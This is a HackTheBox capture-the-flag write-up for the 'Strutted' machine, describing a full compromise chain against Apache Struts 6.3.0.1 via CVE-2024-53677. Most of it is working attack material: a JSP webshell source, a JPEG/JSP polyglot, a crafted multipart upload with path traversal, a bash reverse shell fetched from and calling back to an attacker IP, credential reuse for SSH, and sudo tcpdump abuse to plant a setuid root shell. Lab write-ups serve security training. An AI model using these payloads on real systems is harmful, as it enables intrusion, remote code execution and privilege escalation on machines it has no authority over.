HTB: Strutted Writeup
Strutted - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Strutted |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | January 12, 2025 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Strutted is a medium-difficulty Linux machine featuring a company website offering image hosting solutions. The application runs Apache Struts 6.3.0.1, which is vulnerable to CVE-2024-53677—an OGNL injection vulnerability in the FileUploadInterceptor that allows attackers to manipulate file upload parameters and achieve path traversal. By embedding malicious JSP code within valid image files and exploiting the OGNL value stack, we gain initial foothold. Further enumeration reveals hardcoded credentials in the Tomcat configuration, allowing lateral movement to the james user. Privilege escalation is achieved by abusing misconfigured sudo permissions on tcpdump, leveraging a GTFOBins technique to create a setuid bash binary.
TL;DR: CVE-2024-53677 OGNL Injection → JSP Shell Upload → Tomcat Credentials → Lateral Movement → tcpdump Setuid Exploit → Root Shell
Reconnaissance
Port Scanning
# Full port scanports=$(nmap -p- --min-rate=1000 -T4 10.129.231.200 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumerationnmap -p$ports -sC -sV 10.129.231.200Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1080/tcp open http nginx 1.18.0 (Ubuntu)Two open ports: SSH (22) and HTTP (80). The Nmap output reveals the domain strutted.htb.
Service Enumeration
HTTP Service (Port 80):
Add the domain to /etc/hosts:
echo "10.10.11.X strutted.htb" | sudo tee -a /etc/hostsVisiting http://strutted.htb displays a static website for an image hosting service. A “Download” button provides a ZIP file containing the Docker environment, which includes critical configuration files:
- Dockerfile: Reveals Tomcat9 and OpenJDK-17 runtime
- pom.xml: Project dependencies show Apache Struts2 version 6.3.0.1
- tomcat-users.xml: Contains hardcoded credentials (noted for later use)
- Java Source Code: Includes upload validation logic with MIME type and magic byte checks
Vulnerability Assessment
CVE-2024-53677 - Apache Struts2 OGNL Injection:
The application uses Apache Struts2 6.3.0.1, which is vulnerable to Remote Code Execution through OGNL (Object-Graph Navigation Language) injection in the FileUploadInterceptor. The vulnerability allows bypassing file upload restrictions:
- MIME Type Validation: Only allows
image/jpeg,image/png,image/gif - Magic Byte Validation: Checks file headers (JPEG, PNG, GIF)
- OGNL Bypass: The
UploadFileNameparameter is bound to the value stack and can be manipulated using OGNL expressions to change the uploaded file’s extension
The key insight: top.UploadFileName bypasses the ParametersInterceptor validation regex that blocks indexed array access ([0]), allowing arbitrary filename assignment.
Initial Foothold
Exploitation Path
Step 1: Craft Malicious Image with Embedded JSP
Create a valid JPEG file with JSP code appended:
# Generate JSP shell codecat > shell.jsp << 'EOF'<%@ page import="java.io.*, java.util.*, java.net.*" %><% String action = request.getParameter("action"); String output = "";
if ("cmd".equals(action)) { String cmd = request.getParameter("cmd"); try { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd}); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { output += line + "\n"; } } catch (Exception e) { output = e.toString(); } }%><pre><%= output %></pre>EOFCreate a valid JPEG file with JSP payload embedded:
# Create minimal valid JPEG (FFD8FFE0 = JPEG magic bytes)printf '\xFF\xD8\xFF\xE0\x00\x10JFIF' > shell.jpgcat shell.jsp >> shell.jpgStep 2: Exploit OGNL Injection via Multipart Form Data
Send a POST request exploiting the top.UploadFileName parameter:
curl -X POST 'http://strutted.htb/upload.action' \ -H 'Content-Type: multipart/form-data; boundary=----Boundary123' \ --data-binary $'------Boundary123\rContent-Disposition: form-data; name="Upload"; filename="test.jpg"\rContent-Type: image/jpeg\r\r' \ --data-binary @shell.jpg \ --data-binary $'\r------Boundary123\rContent-Disposition: form-data; name="top.UploadFileName"\r\r../../shell.jsp\r------Boundary123--\r'Alternatively, use a manual HTTP request interceptor (Burp Suite):
POST /upload.action HTTP/1.1Host: strutted.htbContent-Type: multipart/form-data; boundary=----Boundary123Content-Length: 410
------Boundary123Content-Disposition: form-data; name="Upload"; filename="test.jpg"Content-Type: image/jpeg
[JPEG Magic Bytes + JSP Code Here]------Boundary123Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp------Boundary123--Step 3: Execute Commands via JSP Shell
After successful upload, access the shell:
# Test command executioncurl 'http://strutted.htb/shell.jsp?action=cmd&cmd=id'Step 4: Gain Reverse Shell
Create a bash reverse shell script:
# On attacker machineecho -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1"' > bash.sh
# Start HTTP serverpython3 -m http.server 80
# In another terminal, start listenernc -lvvp 4444Download and execute the reverse shell from the JSP:
# Download scriptcurl 'http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh'
# Make executablecurl 'http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh'
# Execute reverse shellcurl 'http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh'Step 5: Upgrade to Interactive Shell
# Once connected via reverse shellpython3 -c 'import pty; pty.spawn("/bin/bash")'Lateral Movement via Hardcoded Credentials
While running as tomcat user, enumerate configuration files:
# Check Tomcat configurationcat /opt/tomcat/conf/tomcat-users.xmlOutput reveals hardcoded credentials:
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>Identify users with shell access:
cat /etc/passwd | grep '/bin/bash'# james:x:1000:1000:Network Administrator:/home/james:/bin/bashAttempt SSH with the discovered password:
ssh james@strutted.htb# Password: IT14d6SSP81kSuccessfully authenticate as james user and retrieve the user flag:
cat /home/james/user.txtPrivilege Escalation
Exploiting Misconfigured tcpdump via sudo
Check sudo permissions:
sudo -l# User james may run the following commands on localhost:The james user can execute tcpdump as root without a password. According to GTFOBins, tcpdump supports post-rotation commands via the -z flag, allowing arbitrary command execution.
Step 1: Prepare Privilege Escalation Script
Create a script that copies bash with the setuid bit:
# Create temporary file for the commandCOMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'TF=$(mktemp)echo "$COMMAND" > $TFchmod +x $TFStep 2: Execute tcpdump Exploit
Use tcpdump’s -z flag to execute the script with root privileges:
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z rootBreakdown of flags:
-ln: No DNS resolution, numeric output-i lo: Listen on loopback interface-w /dev/null: Write to /dev/null-W 1: One file rotation-G 1: One second rotation interval (triggers-zcommand)-z $TF: Execute script after rotation-Z root: Change user to root before executing script
Step 3: Verify Setuid Binary Creation
ls -la /tmp/bash_root# -rwsr-sr-x 1 root root 1396520 Jan 16 12:35 /tmp/bash_rootThe file has the setuid bit set (s in permissions), allowing execution with root privileges.
Step 4: Execute as Root
# The -p flag preserves effective privileges/tmp/bash_root -p
# Verify root accessid# uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) groups=0(root),27(sudo),1000(james)Step 5: Read Root Flag
cat /root/root.txtAttack Chain Summary
Port 80 (Nginx) ↓Enumerate Website & Download Docker Config ↓Identify Apache Struts 6.3.0.1 (CVE-2024-53677 Vulnerable) ↓Exploit OGNL Injection: Embed JSP in JPEG, Manipulate top.UploadFileName ↓Upload Shell via Path Traversal (../../shell.jsp) ↓Execute Commands via JSP Webshell ↓Download & Execute Reverse Bash Shell (as tomcat user) ↓Extract Hardcoded Tomcat Password (IT14d6SSP81k) ↓SSH Authentication as james user (User Flag) ↓Identify sudo Privilege: tcpdump (NOPASSWD) ↓Exploit tcpdump with -z flag to Execute Setuid Creation Script ↓Create Setuid Bash Binary (/tmp/bash_root) ↓Execute Setuid Bash with -p flag (Root Shell) ↓Read Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and JSP shell exploitation |
netcat | Reverse shell listener |
python3 | HTTP server for payload delivery |
burp-suite | HTTP request interception (optional) |
ssh | Secure shell access for lateral movement |
tcpdump | Network packet analyzer abused for privilege escalation |
Key Learnings
Techniques Practiced
- OGNL (Object-Graph Navigation Language) injection in Apache Struts2
- Bypassing file upload MIME type and magic byte validation
- Parameter binding in value stack exploitation
- Reverse shell payload generation and delivery
- Credential extraction from application configuration files
- Sudo permission enumeration and exploitation
- GTFOBins technique application for privilege escalation
- Understanding setuid binaries and effective privilege preservation
Lessons Learned
-
Defense in Depth Matters: File upload validation through MIME types and magic bytes alone is insufficient. The application should also validate parameter names against dangerous OGNL expressions.
-
Configuration File Security: Hardcoded credentials in configuration files (tomcat-users.xml) pose significant lateral movement risks. These files should be excluded from public-facing Docker downloads.
-
OGNL Expression Regex Bypass: The
ParametersInterceptorvalidation regex can be bypassed by understanding its limitations. Expressions without array indexing ([0]) may pass validation while still achieving malicious intent. -
Sudo Privilege Minimization: Utilities like
tcpdumpshould never be granted unrestricted sudo access. If necessary, limit to specific options (e.g.,tcpdump -i eth0only). -
Setuid Binaries in /tmp: Creating setuid binaries in world-writable directories allows privilege escalation. Root-owned directories or protected mount options should be enforced.
-
Version Management: Regularly update vulnerable dependencies. CVE-2024-53677 affects Apache Struts 6.3.0.1 and patched versions should be deployed immediately.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>